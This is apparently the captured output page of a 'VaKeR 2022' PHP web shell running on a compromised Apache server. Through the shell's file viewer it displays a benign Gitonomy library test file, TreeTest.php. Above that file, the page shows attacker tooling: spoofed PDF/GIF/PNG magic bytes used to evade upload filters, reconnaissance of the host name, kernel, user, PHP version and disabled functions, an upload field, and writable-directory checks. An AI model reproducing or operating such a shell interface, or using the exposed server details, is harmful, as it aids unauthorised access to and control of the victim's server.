%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/gitonomy/gitlib/tests/Gitonomy/Git/Tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/gitonomy/gitlib/tests/Gitonomy/Git/Tests/TreeTest.php
<?php

/**
 * This file is part of Gitonomy.
 *
 * (c) Alexandre Salomé <alexandre.salome@gmail.com>
 * (c) Julien DIDIER <genzo.wm@gmail.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Gitonomy\Git\Tests;

use Gitonomy\Git\Blob;

class TreeTest extends AbstractTest
{
    const PATH_RESOLVING_COMMIT = 'cc06ac171d884282202dff88c1ded499a1f89420';

    /**
     * @dataProvider provideFooBar
     */
    public function testCase($repository)
    {
        $tree = $repository->getCommit(self::LONGFILE_COMMIT)->getTree();

        $entries = $tree->getEntries();

        $this->assertNotEmpty($entries['long.php'], 'long.php is present');
        $this->assertTrue($entries['long.php'][1] instanceof Blob, 'long.php is a Blob');

        $this->assertNotEmpty($entries['README.md'], 'README.md is present');
        $this->assertTrue($entries['README.md'][1] instanceof Blob, 'README.md is a Blob');
    }

    /**
     * @dataProvider provideFooBar
     */
    public function testResolvePath($repository)
    {
        $tree = $repository->getCommit(self::PATH_RESOLVING_COMMIT)->getTree();
        $path = 'test/a/b/c';

        $resolved = $tree->resolvePath($path);
        $entries = $resolved->getEntries();

        $this->assertNotEmpty($entries['d'], 'Successfully resolved source folder');
    }
}

VaKeR 2022